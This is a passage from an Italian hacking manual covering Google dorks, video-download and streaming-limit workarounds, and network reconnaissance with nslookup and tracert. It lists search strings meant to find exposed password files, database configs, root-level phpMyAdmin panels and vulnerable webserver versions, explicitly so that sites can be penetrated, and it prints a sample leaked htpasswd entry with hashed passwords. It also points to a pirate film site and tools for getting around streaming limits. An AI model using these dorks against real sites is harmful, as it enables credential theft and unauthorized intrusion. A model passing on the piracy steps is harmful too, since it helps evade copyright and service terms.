Una possibile stringa è la seguente:
intitle:index.of “parent directory”
Questa stringa non è pericolosa, ma mostra solamente il contenuto di alcune
directory di nome “index of” che spesso vengono lasciate non protette proprio
per la loro non pericolosità o servono per il funzionamento del sito stesso.
Ma (c’è sempre un MA) fancendo una piccola modifica alla nostra stringa e cercando al posto di “Index.of” , ” Index.of etc”, avremo come risultato una lista di
directory contenenti file importanti , come password criptate.
intitle:index.of etc
Le Cartelle che abbiamo cercato con google sono cartelle di solito tenute nascoste al pubblico in quanto contengono informazioni sensibili a cui un normale user non potrebbe accedere.
Con questa ricerca e cercando il file password all’interno della cartella selezionata, ci troveremo alcune password criptate. Solitamente i file password che troviamo all’interno di queste cartelle non sono quelli veri, ma servono solo per depistare la persona che sta provando ad accedervi.
Come localizzare Server , webserver e Server Vulnerabili
Abbiamo appena visto come è possibile tramite la ricerca delle directory, riuscire
a risalire a dei file importantissimi del sistema (di questo parleremo anche dopo).
Ovviamente possiamo cambiare la stringa con un tipo di webserver o con una
37
qualunque parola noi vogliamo, ad esempio possiamo cercare tutte le directory
che abbiano per nome “Mp3”. In questo caso scriveremo:
intitle:”index.of Mp3”
intitle:”index of Mp3”
intitle:”index of” Mp3
Ci sono tanti altri modi per cercare una determinata cartella.
Ricorcate che se volete cercare una cartella specifica o una qualsiasi cosa su di
un sito specifico, basta aggiungere site:www.sito.com alla fine della combinazione di operatori.
Possiamo ancora tramite la ricerca delle directory , trovare webserver particolari
e vulnerabili.
Infatti, se noi inseriamo nel nostro motore di ricerca la stringa:
intitle:index.of “Apache/1.3.0 Server at”
il risultato sarà una serie si siti che usano questo tipo di webserver.
Ovviamente possiamo fare questo tipo di richiesta per un qualsiasi tipo di webserver e/o di servizio. Questo succede in quanto spesso i siti che utilizzano alcuni
tipi di webserver “stampano” il loro marchio nella directory web del sito stesso
rendendo cosi’ facile la loro ricerca tramite l’operatore “Intitle”.
Si può usare questo metodo per trovare siti e server che hanno una versione debole di un qualche webserver, e quindi sfruttare la falla per testare il sito e/o penetrarlo. Possiamo addirittura creare un programma che faccia questo in automatico.
Per quanto riguarda il cercare siti (server) con determinati webserver, possiamo
cercare questi anche con stringhe diverse, quali:
Apache 1.3.0 intitle:index.of “Apache/1.3.0 Server at”
Apache 2.0 Intitle:Simple.page.for.Apache Apache.Hook.Functions
Apache SSL/TLS Intitle:test.page “Hey, it worked !” “SSL/TLS-aware”
Iss “Microsoft-IIS/* server at” intitle:index.of
Iss 4.0 “Microsoft-IIS/4.0″ intitle:index.of
Iss 5.0 “Microsoft-IIS/5.0 server at”
Iss 6.0 “Microsoft-IIS/6.0″ intitle:index.of
Questi sono solo alcuni importanti webserver che possiamo cercare, ovviamente
se dobbiamo cercare un webserver vulnerabile inseriremo la versione che stiamo
scegliendo
Di seguito vi riporto alcuni webserver e le relative stringhe da inserire in google
per trovarli.
38
Matrix Appliance “Welcome to your domain web page” matrix
Kwiki “Congratulations! You’ve created a new Kwiki website.”
HP appliance sa1* intitle:”default domain page” “congratulations” “hp web”
Intel Netstructure “congratulations on choosing” intel netstructure
Generic Appliance “default web page” congratulations “hosting appliance”
iPlanet / Many intitle:”web server, enterprise edition”
Debian Apache intitle:”Welcome to Your New Home Page!” debian
J2EE / Many intitle:”default j2ee home page”
JWS / 1.0.3 – 2.0 allintitle:default home page java web server
Resin / Many allintitle:Resin-Enterprise Default Home Page
Resin / Enterprise allintitle:default home page java web server
Jigsaw / Many intitle:”jigsaw overview”
Jigsaw / 2.2.3 intitle:”jigsaw overview” “this is your”
XAMPP XAMPP “inurl:xampp/index”
Windows 2000 intitle:”Welcome to Windows 2000 Internet Services”
OpenBSD “powered by openbsd” +”powered by apache”
Red Hat Unix Administration intitle:”Page rev */*/*” inurl:”admin
La ricerca dei server vulnerabile può essere effettuata anche cercando i manuali
del webserver (che di solito possiamo trovare in una cartella del webserver
stesso) , ad esempio per ricercare un webserver Apache, possiamo cercare:
inurl:manual apache directives modules
Cosi’ facendo , cercheremo il file di aiuto , le direttive del webserver e ci ritroveremo con altri siti aventi Apache installato.
Oltre a cercare i siti con l’operatore inurl, possiamo cercare il tutto anche con allintitle:
‘allinurl:iishelp core’
Cosi’ cercheremo i file aiuto di Iss.
Questi sono solo alcuni esempi di come possiamo trovare con google svariati siti
aventi un determinato tipo di webserver.
Tra questi possiamo vedere anche pannelli di controllo e di amministrazione
(come nel caso di Red Hat Unix Administration). Sono stati inseriri in quanto
grazie a loro (ai pannelli di amm.) siamo in grado di capire che tipo di sistema
gira su quelle macchine.
39
Google Hacking e Guida all’uso – Parte seconda
In questa seconda parte invece, discuteremo dei seguenti argomenti:
1.
2.
3.
4.
Server e Siti Vulnerabili
Applicare Exploit e conoscenze a Google
Vari Exploit
Approfondimento alle GoogleDorks e una particolare lista che vi dimostrerà come accedere a delle password private.
Server e Siti vulerabili
Grazie a Google siamo in grado di trovare una cascata di siti vulnerabil e di seguito verranno trattati alcuni esempi.
Se ad sempio dobbiamo trovare un sito che abbia PhpNuke Installato, possiamo
inserire varie stringhe :
“Welcome to PHP-Nuke” congratulations
Cosi’ facendo cercheremo tutti i siti che hanno ancora la pagina iniziale di installaizone di phpNuke.Di solito questa pagina viene cancellata subito dopo
l’installazione, ma molti administrator dimenticano la pagina sui server. (anche
perchè forse, si scocciano di continuare a costruire il sito).
Scrivendo questo invece, avremo un’altra lunga lista di siti fatti in phpnuke.
inurl: “powered by PHP-Nuke”
Se vogliamo un login di phpmyadmin o cercare un phpmyadmin non protetto da
password, possiamo scrivere:
intitle:phpMyAdmin “Welcome to phpMyAdmin ***” “running on * as root@*”
Con questa stringa siamo capaci invece di trovare siti che ospitano questo tipo di
servizio per il controllo dei loro database. Però noi, non stiamo cercando solamente un login PhpMyAdmin, in quanto sarebbe bastato scrivere intitle:phpMyAdmin “Welcome to phpMyAdmin” mentre noi abbiamo scritto anche
“running on * as root@*”.
Questo vuol dire che stiamo cercando anche tutti i siti che non hanno protetto il
loro servizio con una password e che quindi ci danno l’accesso root.
40
Vi elenco una piccola lista di GoogleDorks adatte per la ricerca dei server
“Powered by: vBulletin Version 1.1.5″
“Powered by Gallery v1.4.4″
“Online Store - Powered by ProductCart”
“inurl:search.php vbulletin”
“powered by openbsd” +”powered by apache”
“intitle:”Page rev */*/*” inurl:”admin”
Ci sono svariati modi per prelevare password grazie a Google, ve ne ho dato largo esempio e potete sempre trovare altre stringhe e crearne delle nuove per testare la sicurezza del web. Di seguito vi elencherò’ una serie di opzioni da poter utilizzare nella ricerca password:
intitle:”Index of” master.passwd
Con questa ricerca avremo i file Master Password da poter leggere. Questi file
sono di un importanza maggiore rispetto ad un file Passwd o Shadow in quanto
contiene , appunto, le MASTER password, le chiavi di tutto il sito.
Spesso anche in questo file le password non saranno quelle vere.
Le password dei Psy-Bnc
filetype:conf inurl:psybnc.conf “USER.PASS=”
Password criptate del famoso trillian
intitle:”index of” trillian.ini
Sempre per quanto riguarda le password abbiamo varie combinazioni da provare.
Le password le possiamo trovare anche in archivi, in database, in file.
Esempi:
intitle:”Index of” “.htpasswd” htpasswd.bak
Con questo , cercheremo la directory chiamata “.htpasswd” che contenga il file
htpasswd.bak (file in cui possiamo trovare password criptate facilmente cracckabili).Dopo la ricerca, avremo molti risultati e cliccando si qualcuno e cliccando
ancora sul file Htpasswd, potremo avere davanti una lista simile:
TWikiGuest:
BartMassey:
AndrewGreenberg:
MickThomure:
41
TedHavelka:hpf8d.jR4TSXY
DonWolfe:A4Oex7qv2rF9w
Nelle ultime due righe vediamo i nomiutente e le password in modo criptato.
Come tutti ben sappiamo, moli servizi una volta installati presentano all’interno
della loro cartella di installazione un file chiamato “config.php”. Questo file ,
spesso e volentieri, contiene le password di accesso a siti, ad ftp,a database e a
quanto altro possa servire il file in questione.
Una strada veloce per ricercare questi file è la seguente:
intitle:”Index of” config.php
Come abbiamo visto anche in precedenza, noi siamo capaci di ricercare un dato
file di password.Per quanto riguarda le password di Frontpage possiamo usare la
seguente espressione:
ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-”
42
cosi’ andremo a ricercare i file password contenenti almeno uno di quei campi:
La password(criptata) in questo caso è visibile anche senza aprire il file. Questo
non è l’unico metodo per trovare le password di fronpage, ma è uno dei più veloci e validi, un alternativa sarebbe quella di cercare i file .pwd che spesso, sono
associati a fronpage (in quanto estenzione password di windows, e pochi programmi usano questo tipo di file, uno dei queli è fronpage).
I metodi più semplici di ricerca password sono:
inurl:passlist.txt
inurl:password.txt
inurl:pass.txt
inurl:pwd.txt
con questa stringa ricercheremo tutti i file .Txt (spesso qualcuno chiama il file
delle password con questi semplici nomi, ingari del fatto che sono alla portata di
tutti).
Ovviamente le password le possiamo trovare anche in alcuni archivi (es: mdb).
Quindi possiamo cercare alcuni file Mdb per trovare delle pwd nel loro interno.Possiamo cercare:
allinurl: admin mdb
inurl:admin.mdb filetype:mdb
inurl:password filetype:mdb
Per quanto riguarda i file contenenti password, questi possono essere trovati
sempre grazie a Google.Infatti se noi sappiamo di un qualche file che contenga
password lo possiamo ricercare attraverso questo magico motore di ricerca. Nel
caso citato precedentemente, noi andiamo a ricercare file Mdb, ma possiamo benissimo cercare moltissimi tipi di fili, come quelli XLS (Excel), i quali possono
contenere interi archivi di password (se siamo fortunati..mooolto fortunati).
Non c’è limite nella ricerca di un qualsiasi file privato, basta solo sapere qual’è il
file e ricercarlo, niente di più semplice.
I File delle password li possiamo trovare anche in cartelle di backup che possia-
43
mo ricercare cosi’:
inurl:backup intitle:index.of inurl:admin
Approfondimento alle GoogleDorks
Eccovi una lista di GoogleDorks
allinurl: admin mdb (Password all’interno di file MDB)
inurl:admin.mdb filetype:mdb (Password all’interno di file MDB)
inurl:password filetype:mdb (Password all’interno di file MDB)
inurl:passlist.txt (Password all’interno di file di testo)
inurl:password.txt (Password all’interno di file di testo)
inurl:pass.txt (Password all’interno di file di testo)
inurl:pwd.txt (Password all’interno di file di testo)
“login: *” “password= *” filetype:xls (Password in file XLS)
intitle:”Index of” spwd.db passwd -pam.conf (Password nei file conf e db)
inurl:config.php dbuname dbpass (file di configurazione di un database da php)
Scaricare video
Collegarsi al sito http://7tv.org/ , scegliere il genere oppure cliccare su “lista
film” per vederli tutti, volendo in alto a destra inserire il titolo e poi Search.
Una volta trovato il film possiamo vederlo o scaricarlo. Viene chiesta una
password che è sempre la stessa: www.7tv.org Eseguire il download standard ed
aspettare che il conteggio arrivi a 0, poi scegliere di salvare il file.
MEGAVIDEO : On-line non esistono limiti
Inserire il link al video nel sito giusto e il limite di visualizzazione Megavideo
scomparirà in un lampo!
Ma occhio a non sbagliare. La fastidiosa pubblicità è sempre dietro l'angolo.
1) Copiamo il link e salutiamo i limiti. Una volta raggiunto il limite di Megavideo, copiamo il link del video che vogliamo vedere e nella barra degli indirizzi
digitiamo www.megastreaming.org In basso nella pagina in Enter the MegavideoURL incolliamo il link del video e poi clicchiamo su Play.
44
2) Occhio alla pubblicità.. .Anche qui dovremo cliccare sul tasto Play e si aprirà
una pagina pubblicitaria in una nuova finestra. Chiudiamola senza esitazione e
torniamo alla pagina di Megastreaming, clicchiamo sul tasto PlayVerde e ci ritroveremo davanti il video con l'interfaccia di Megavideo!
Video no limits : sia su Megavideo che su YouTube vengono posti dei limiti o sulla durata (70 min.) oppure un ritardo sulla fruizione. Basta un plug-in di
Firefox per riuscire a battere i limiti. Avviamo Firefox e nella barra degli indirizzi digitiamo: https://addons.mozilla.org/it/firefox/addon/11037 o 11998, spuntiamo Lasciami installare... Clicchiamo su Aggiungi a Firefox e poi su Installa.
Non riavviamo il browser ma installiamo un altro plug-in per eliminare i pop-up
https://addons.mozilla.org/firefox/addon/1865 una volta installato avviare il
browser. Per fare in modo che il plug-in blocchi la pubblicità dovremo sottoscrivere una lista che aggiornerà il sistema di blocco. Si apre una finestra, lasciamo
selezionata la prima lista e poi clicchiamo su sottoscrivi. Scegliamo il video da
vedere su www.megavideo.com in basso a destra apparirà una finestrella di Illimitux , clicchiamo sul pulsante rimuovi limite e, dopo pochi secondi, saremo indirizzati alla pagina in cui il video potrà essere visualizzato.
Scarica tutto da Megavideo
Si può fare in manuale,ma in automatico è meglio!Per scaricare i filmati da Megavideo esistono diverse risorse, sia on-line tramite dei siti web che "grabbano"
il file video per poi consentirci di scaricarlo. Sia con dei programmi specifici: in
particolare JDownloader o factotum del file hosting, dalle sue ultime versioni
consente di scaricare anche i video dai siti di video hosting come YouTube, Vimeo e Megavideo.Ma non sarebbe più semplice di tutto ciò avere un tasto download, direttamente nella pagina del video, e con un clic riuscire a scaricare il
filmato? Per ottenere davvero un "onclic download" possiamo utilizzare Firefox
accoppiata con il sempre più utile Gresemonkey e un piccolo script, con questa
combinazione potremo scaricare i video in un lampo e avere informazioni anche
sulla durata e la dimensione del file senza doverlo riprodurre. A Con Firefox è
tutto semplice!
Avviamo Firefox e dall'indirizzo: https://addons.mozilla.org/it/firefox/addon/748
installiamo Greasemonkey cliccando su Aggiungi a Firefox. Quindi riavviamo il
browser e verifichiamo che in basso a destra vi sia una faccina di scimmietta.
Adesso non resta che trovare lo script giusto,andiamo su userscripts.org e nel
campo di ricerca in alto inseriamo Megavideo Link FLV e premiamo Invio.
Clicchiamo sul nome dello script, poi su Install e quindi su Installa per "aggiungerlo" a Greasemonkey.Con un clic il video sull'hard disk: Digitiamo
www.megavideo.com nella barra degli indirizzi di Firefox e selezioniamo il video da scaricare. In basso a destra apparirà una barra con il tastoDownload: clicchiamoci sopra e poi su salva per salvare il filmato in formato FLV sul PC.
45
TubeMaster++
Ecco come scaricare sul disco fisso del proprio PC il meglio dei contenuti
multimediali disponibili su Internet.
Installiamo il software, ci verrà chiesto di installare WinPcap, clicchiamo su next
e poi finish. Terminato WinPcap parte l’installazione di Java.Se usiamo Vista o
Windows7 per avviare il programma clic destro: Esegui come amministratore.
Un video tutto da registrare Andiamo in Options. Da Application Language
selezioniamo Italiano e in Default media output folder la cartella del PC che conterrà i file salvati. Riavviamo TubeMaster++ (Passo 2). Lasciamo aperta la finestra del programma, puntiamo il browser su un sito di video on-line,
www.vimeo.com, e riproduciamo il filmato che preferiamo.
Si parte per la cattura!
TubeMaster++ inizierà a registrare. Al termine, nella finestra di TubeMaster++
compare il video scaricato. Per rinominarlo, dicchiamo su untitled_X (dove
X è il numero progressivo), digitiamo un nome a nostro piacimento e premiamo
il pulsante Invio.
Un salvataggio per un video Per memorizzare il filmato dicchiamo Salva il video: lo troveremo nella carella specificata . Se desideriamo esportarlo in un altro
formato, trasciniamolo nella finestra di TubeMaster++ e dicchiamo Converti il
file, scegliamo il dispositivo di destinazione e attendiamo il completamento della
procedura.
46
Freegate per vedere justin.tv il calcio e il grande fratello senza
limiti.
Freegate è un programmino gratuito che non necessita di installazione e
sfrutta un sofisticato Proxy anti-censura aggirando quindi il limite di Justin.tv.
Estraete il file fg680f.exe contenuto nell’archivio zip ed eseguitelo.
IMPORTANTE! Se il programma vi chiede di aggiornarlo non fatelo! Quindi
se vi esce il messaggio ” A new version of Freegate is available. Would you
like to upgrade?” cliccate ” NO”. Questa è l’unica verisone funzionante per
noi.
Una volta eseguito il programma, vi si aprirà automaticamente Internet Explorer se ce l’avete, con già le impostazioni proxy settate correttamente.
Quindi avrete diverse possibilità per vedere Justin.tv senza limiti.
1. Con Internet Explorer
Freegate aprirà automaticamente Internet Explorer e vi si aprirà una pagina
come quella qui sotto. Vi basterà inserire l’indirizzo del sito dove c’è il player
di Justin.tv per vederlo senza blocchi.
. L’indirizzo a cui viene mandato è questo:
http://127.0.0.1:8580/loc/phome.php?v=6.86&l=409 non serve che lo impostate
a mano, perchè Freegate provvede a lanciarlo in automatico, e con indirizzi che
risultano diversi da versione a versione.
47
2. Con Mozilla Firefox
Per questo browser dovrete settare manualmente l’indirizzo proxy per
far funzionare il programma. Quindi sulla barra dei menù cliccate su Strumenti > Opzioni e recatevi nella scheda Avanzate > Rete come potete vedere
nell’immagine qui sotto.
Cliccate su Impostazioni. Poi cliccate su ” Configurazione Manuale del
proxy”. Nel campo ” Proxy HTTP” inserite : 127.0.0.1 , nella “porta” il valore: 8580 , e spuntate ” utilizza lo stesso proxy per tutti i protocolli“. Guardate
l’immagine qui sotto per vedere come settare le impostazioni. Cliccate ok e potrete navigare tranquillamente su internet e vedere Justin.tv senza blocchi!
48
IMPORTANTE! L’indirizzo proxy rimane memorizzato nel browser, quindi
una volta che avete finito di vedere Justin.tv e avete chiuso il programma Freegate, dovete ritornare nella scheda Proxy e spuntare la casella ” Nessun
proxy”.
3. Con safari
Come per Internet Explorer, Freegate setta il proxy automaticamente anche
per Safari, quindi non bisogna modificare nessuna impostazione per questo
browser.
CONSIGLIO ( non testato): Freegate utilizza un proxy quindi la connessione
sarà più lenta della vostra, quindi vi consiglio di chiudere il programma e togliere il proxy una volta che è partito lo streaming, in tal modo rimarrete collegati senza limiti e la vostra connessione sarà più veloce.
49
TECNICHE PER INTRODURSI IN UNA RETE
RETE
Raccolta dati
La raccolta di dettagli sulla tipologia
della rete da attaccare, avviene esaminano la tabella di
instradamento di un
router non protetto.
Viene utilizzato il
protocollo SNMP
(Simple Network
Management Protocol), cioè un protocollo di gestione di
apparati di rete appartenenti
all’architettura
TCP/IP.
Sistema
DNS
Il sistema DNS
può far accedere
ad un elenco di
indirizzi IP di
host ed il loro
nome corrispondente.
50
Comando TraceRoute
Il comando “TraceRoute” permette di rilevare
il numero di reti intermedie e i router incontrati nel percorso fino ad
un host specifico.
Protocollo Whois
Il protocollo Whois
è un servizio di informazione che
può acquisire dati
su tutto il dominio
DNS e
sugli amministratori di sistema responsabili di ciascun dominio.
Comando Ping
Comando Finger
Il comando “Finger” può rilevare
informazioni particolareggiate sugli utenti di un
host specifico
(nomi login, numeri di telefono,
durata dell’ultima
conessione…).
Il comando “Ping” può
essere usato per localizzare un host particolare e determinare la
sua
raggiungibilità. Questo
semplice strumento
può essere usato in un
programma di scansione che
verifica la presenza
ondine di ogni possibile host indirizzabile su
una rete costruendo un
elenco degli
host attualmente residenti nella rete.
Risalire all’indirizzo Ip di un’email
Risalire all’indirizzo Ip di un’email è relativamente semplice. Riuscire invece a
scoprire la località geografica o l’identità dell’autore dell’email è decisamente
più complicato.
Vediamo come risalire all’indirizzo Ip di un’email analizzando gli header SMTP,
consci del fatto che se l’autore ha utilizzato un proxy o un’altra infrastruttura di
anonimizzazione come Tor, l’Ip rilevato sarà appunto quello utilizzato come
“maschera”.
Il procedimento si articola in due fasi:
il recupero degli header dell’email
l’analisi alla ricerca di un particolare campo, contenente l’informazione ricercata.
Recuperare gli header
Per prima cosa si apre il client di posta elettronica, client che può essere un programma stand-alone come Outlook o Thunderbird, oppure un’interfaccia webmail come Gmail o Hotmail.
Le operazioni da compiere per recuperare gli header differiscono da client a
client: ne presento due. In genere tutti gli altri client hanno funzioni analoghe che
divergono solamente dalla terminologia adottata.
Con Outlook selezionate l’email di cui volete rivelare l’Ip del mittente, quindi
tasto destro -> proprietà -> dettagli -> messaggio originale.
In Gmail andate in alto a destra sul menu rispondi
Rispondi -> Mostra originale.
In entrambi i casi vi troverete di fronte ad una lunga lista di righe dal contenuto
apparentemente criptico.
Attenzione che non tutti i server SMTP permettono di lasciar vedere tutti gli header
Analizzare gli header
Questi dati sono gli header SMTP. Contengono varie informazioni, sul mittente,
il destinatario, i passaggi tra i vari server coinvolti nell’operazione di recapito, le
date e le ore di queste operazioni. Tra questi campi uno in particolare ci interessa: il campo received.
51
In un’email ci sono diversi campi received. Partendo dall’alto scendiamo fino a
trovare l’ultimo campo received.
Mi sono mandato un’email dal mio account su Yahoo al mio account su Gmail.
Ho contato 11 header received. L’ultimo contiene l’Ip del mittente (ovvero il mio:
Received: from [xyz.xyz.xyz.xyz] by web24701.mail.ird.yahoo.com via HTTP;
Thu, 14 Apr 2009 06:30:47 PDT
Dopo la scritta from tra parentesi quadre appare l’Ip del mittente, seguito da altre
informazioni tra le quali l’ora in cui il server SMTP di Yahoo ha ricevuto tramite
HTTP l’email da recapitare.Per recuperare l’Ip di un’email bisogna quindi ottenere gli header con un’operazione che varia da client a client; quindi si cerca
l’ultimo campo header; dopo il from troviamo l’indirizzo del mittente.
Naturalmente se il mittente ha utilizzato proxy o altri strumenti di anonimato la
conoscenza dell’Ip non sarà molto utile per accertare l’identità del mittente. Inoltre l’autore dell’email potrebbe cercare di confondere le acque con alcuni trucchi, come la creazione di header received falsi.
Come ottenere informazioni da un IP
Localizzare IP e web, servizio whois ecc.
Chiunque abbia installato per la prima volta un personal firewall sarà caduto nella tentazione di voler individuare in modo preciso i responsabili di eventuali
scansioni delle proprie porte o tentativi di intrusione rilevati e memorizzati nei
log del programma.
E’ bene infrangere ogni aspettativa troppo positiva a riguardo:
non è assolutamente possibile per un comune utente della rete venire a conoscenza in modo legale della persona fisica o dell'utenza telefonica a cui è assegnato
un indirizzo IP in un determinato istante. Solo la polizia postale e le forze dell'ordine possono accedere a tali dati che, per legge, vengono conservati dai provider per un certo periodo di tempo proprio per documentare eventuali abusi sulla rete.
Quali sono allora le informazioni a cui possiamo risalire a partire da un IP? Quali
sono gli strumenti che ci permettono di farlo? Perché dovremmo voler risalire a
tali informazioni?
I motivi per farlo possono essere vari. Nel caso per esempio gli IP provengano
dai log del proprio webserver, si possono catalogare tali dati a fine statistico in
modo da avere informazioni più dettagliate sui visitatori.
52
Molte volte invece la sorgente può rivelarsi non propriamente amichevole: nel
caso di tentativi ripetuti ed insistenti di violare un sistema gli IP conservati nei file di log di server o firewall possono essere analizzati per essere segnalati agli
abuse delle reti o dei domini di appartenenza.
Non da ultimo mettiamoci la curiosità: gli strumenti di cui parleremo forniscono
un metodo come un altro per scoprire sul campo la struttura e il funzionamento
della grande rete.
Quelli che seguono sono alcuni semplici strumenti standard. Verranno descritti il
loro funzionamento, le informazioni che ci permettono di ottenere e alcuni esempi chiarificatori.
Nella descrizione si è sempre cercato di utilizzare strumenti comunemente già
disponibili sul pc oppure online. Questo non toglie che esistano programmi più
sofisticati e forse più semplici da usare che racchiudono queste ed altre funzioni
in modo integrato. Uno di questi è sicuramente l'ottimo VisualRoute, che permette anche la visualizzazione geografica degli host tramite una comoda cartina.
NsLookup
Nslookup è disponibile da riga di comando solo nelle versioni Windows
2000/XP/2003. Per le versioni precedenti è necessario ricorrere a strumenti di
terze parti. Attraverso questo comando è possibile compiere interrogazioni
direttamente sui server DNS.
Ogni volta che impartiamo al nostro browser l'ordine di navigare su un
determinato sito o indichiamo al nostro programma di posta elettronica il server
SMTP o POP3 da utilizzare, adoperiamo un nome e non un indirizzo IP. Questo
perché per un essere umano risulta molto più facile ricordare un nome come
http://www.google.it oppure la sequenza di numeri http://216.239.59.104. Il
protocollo TCP/IP d'altra parte fonda il suo funzionamento e le sue politiche di
instradamento dei pacchetti sugli IP e non certo sui nomi.
I DNS (Domain Name Server), chiamati anche semplicemente Name Server, si
occupano di trasformare nomi nei corrispettivi indirizzi IP e possono venire
interrogati dalle applicazioni ogni volta che questo si renda necessario. In
riferimento al caso precedente il nostro browser, rilevando come destinazione un
nome di dominio, provvederà preventivamente e in modo a noi trasparente ad
interrogare un server DNS che gli fornirà il corretto IP. Solo a questo punto
partirà la vera richiesta del browser che utilizzerà l'indirizzo numerico ottenuto
per collegarsi al sito e scaricare la pagina.
Vista la mole di dati è impossibile che i DNS possiedano le informazioni di tutti i
nomi a livello mondiale e per questo motivo il sistema è stato organizzato come
un enorme database distribuito gerarchicamente. Ogni server contiene solo le
informazioni relative ad un sottoinsieme dei nomi. Si dice che un DNS è di
53
fiducia o autoritativo per un determinato nome se lo gestisce direttamente.
Cosa succede se interrogo un name server su un nome di cui non è autoritativo?
La richiesta in genere viene automaticamente rediretta ad un DNS di gerarchia
superiore in grado di indicargli quale sia il server autoritativo cercato che potrà
così essere consultato. Una volta raggiunto l'obiettivo il nostro DNS fornirà il
risultato e nel contempo lo memorizzerà nella sua cache in modo da poterlo
fornire più velocemente in futuro.
Quali sono le informazioni che ci può fornire un server DNS?
In realtà sono molte di più di una semplice associazione nome-ip. Troviamo
indicazioni sui DNS autoritativi, sulle macchine che gestiscono server di posta
elettronica per quel dominio, eventuali alias cioè nomi ausiliari associati e altri.
Questi dati sono memorizzati nel database del name server in campi chiamati
Resource Records (RR) e sono contraddistinti con una sigla che ne identifica il
contenuto.
Ecco i più importanti:
RR
Descrizione
Contiene l'indirizzo IP corrispondente al nome del dominio
A
Contiene il nome del server SMTP gestore della posta per quel dominio
MX
Indica il DNS autoritativo per la zona di appartenenza del dominio
NS
Usato per memorizzare un eventuale nome alias alternativo per il
CNAME
dominio
Contiene dati per il reverse lookup di cui si parlerà in seguito
PTR
E infine alcuni esempi di utilizzo del comando.
Con il seguente chiediamo informazioni ai DNS di default, quelli del nostro
provider, sull'IP assegnato al nome www.html.it. La richiesta di default è relativa
al record di tipo A cioè all'indirizzo:
nslookup www.html.it
Server: host171-70.pool8021.interbusiness.it
Address: 80.21.70.171
Risposta da un server non di fiducia:
Nome: www.html.it
Address: 212.110.13.99
Le prime due righe indicano il DNS a cui è stata fatta la richiesta. Le successive
contengono la risposta che in questo caso è 212.110.13.99. Si noti che essendo il
server scelto non autoritativo per il dominio html.it questo è stato
chiaramenteindicato nella risposta.
54
Con l'esempio seguente invece non siamo interessati ad ottenere il campo
relativo all'indirizzo ma quello relativo ai server DNS autoritativi per il dominio.
Lo facciamo richiedendo il record NS attraverso l'opzione -type.
nslookup -type=NS html.it
Server: host171-70.pool8021.interbusiness.it
Address: 80.21.70.171
Risposta da un server non di fiducia:
html.it nameserver = dns1.grapesnet.net
html.it nameserver = dns2.grapesnet.net
dns1.grapesnet.net
dns2.grapesnet.net
internet address = 212.110.0.190
internet address = 212.90.2.112
In risposta otteniamo il nome e l'IP del DNS primario e di quello secondario.
Come si può notare html.it si appoggia al provider grapesnet.net.
Questa volta vogliamo ottenere informazioni sui server di posta di html.it e lo
facciamo indicando il record MX. La richiesta inoltre la vogliamo fare
direttamente a uno dei server autoritativi scoperti al punto precedente e lo
indichiamo subito dopo il nome.
nslookup -type=MX html.it 212.110.0.190
Server: dns1.grapesnet.net
Address: 212.110.0.190
html.it MX preference = 10, mail exchanger = mail.html.it
html.it MX preference = 20, mail exchanger = backupmx.grapesnet.net
html.it nameserver = dns1.grapesnet.net
html.it nameserver = dns2.grapesnet.net
mail.html.it
internet address = 212.110.12.123
backupmx.grapesnet.net internet address = 212.90.2.114
dns1.grapesnet.net
internet address = 212.110.0.190
dns2.grapesnet.net
internet address =
212.90.2.112
Come vediamo esistono due server di posta :
mail.html.it e backupmx.grapesnet.net i cui server DNS sono gli stessi del
dominio principale. Di tutti i server indicati viene fornito anche l'IP. Si noti che
questa volta è assente l'indicazione sulla risposta proveniente da un server non di
fiducia perché ora il DNS scelto per le interrogazioni è autoritativo.
Altro aspetto interessante è il cosiddetto Reverse Name Lookup. In questo caso
si procede in senso inverso, quello che conosco è un indirizzo IP e voglio sapere
55
quale nome gli è stato assegnato dal DNS. La richiesta la facciamo indicando il
record PTR e indicando l'IP invece che il nome. Proviamo ad inserire l'IP
ottenuto nel primo esempio:
nslookup -type=PTR 212.110.13.99
Server: host171-70.pool8021.interbusiness.it
Address: 80.21.70.171
Risposta da un server non di fiducia:
99.13.110.212.in-addr.arpa name = html.it
99.13.110.212.in-addr.arpa name = forum.html.it
99.13.110.212.in-addr.arpa name = www.html.it
99.13.110.212.in-addr.arpa name = job.html.it
99.13.110.212.in-addr.arpa name = cgipoint.html.it
99.13.110.212.in-addr.arpa name = cgi.html.it
99.13.110.212.in-addr.arpa name = webnews.html.it
99.13.110.212.in-addr.arpa name = b2b.html.it
99.13.110.212.in-addr.arpa name = libri.html.it
99.13.110.212.in-addr.arpa name = netfree.html.it
99.13.110.212.in-addr.arpa name = statistiche.html.it
99.13.110.212.in-addr.arpa name = saibal.html.it
99.13.110.212.in-addr.arpa name = test1.html.it
99.13.110.212.in-addr.arpa name = test2.html.it
Abbiamo scoperto una cosa molto interessante, allo stesso indirizzo IP sono
associati sia il dominio di secondo livello html.it sia ben altri 13 sottodomini di
terzo livello che si suppone siano tutti gestiti sulla stessa macchina.
56
Gli strumenti di Traceroute e di Whois.
Traceroute
Questo strumento è disponibile da riga di comando in praticamente tutte le
versioni di Windows e Linux. Windows identifica il comando come Tracert e a
tale versione d'ora in poi si farà riferimento.
Lo scopo di Traceroute è visualizzare in successione tutti i nodi della rete
internet attraverso i quali transitano i pacchetti per raggiungere il sistema che
abbiamo indicato come destinazione. Il comando viene spesso usato a scopo
diagnostico perché per ogni nodo indica la latenza cioè il tempo che i pacchetti
impiegano per raggiungerlo.
La cosa interessante è che, se non specificato diversamente, il comando trasla
automaticamente tutti gli indirizzi ip nei relativi nomi attraverso un implicito
reverse name lookup. Spesso i router delle dorsali internet possiedono nomi con
palesi riferimenti geografici e questo ci permette di localizzare il percorso e
spesso anche la destinazione.
Alcuni esempi:
tracert www.rai.it
Rilevazione instradamento verso www.rai.it [212.162.68.64]
su un massimo di 30 punti di passaggio:
1 47 ms 63 ms
2 47 ms 62 ms
[80.21.70.1xx]
3 63 ms 47 ms
4 62 ms 47 ms
5 62 ms 63 ms
6 63 ms 62 ms
[151.99.98.6]
7 63 ms 62 ms
8 62 ms 63 ms
[217.222.11.37]
9 63 ms 62 ms
[81.119.138.2]
10 62 ms 63 ms
11 *
*
*
12 *
*
*
47 ms 192.168.100.1
47 ms host1xx-70.pool8021.interbusiness.it
62 ms
62 ms
62 ms
63 ms
r-bo74-bo83.opb.interbusiness.it [151.99.101.121]
r-rm213-bo74.opb.interbusiness.it [151.99.101.197]
r-rm156-vl3.opb.interbusiness.it [151.99.29.144]
r-tin-pomezia-rm156.opb.interbusiness.it
63 ms 217.222.6.194
